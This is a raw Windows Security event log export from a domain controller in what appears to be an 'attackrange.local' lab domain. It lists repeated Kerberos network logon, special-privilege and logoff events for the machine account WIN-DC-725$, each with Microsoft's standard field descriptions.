-RecordNumber=249384 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1C43 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64226 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249383 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1C43 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249406 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2374 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249405 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE2374 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64233 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249404 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2374 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249403 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2301 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249402 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE2301 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64232 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249401 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2301 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249400 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2289 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249399 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE2289 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64231 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249398 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2289 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249397 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2212 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249396 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE2212 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64230 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249395 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE2212 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249418 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3E3A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249417 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3E3A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64242 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249416 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3E3A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249415 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3DD9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249414 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3DD9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64241 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249413 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3DD9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249412 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3D73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249411 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3D73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64240 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249410 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3D73 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249409 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3D12 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249408 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3D12 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64239 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249407 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3D12 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249430 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3FCC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249429 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3FCC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64246 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon 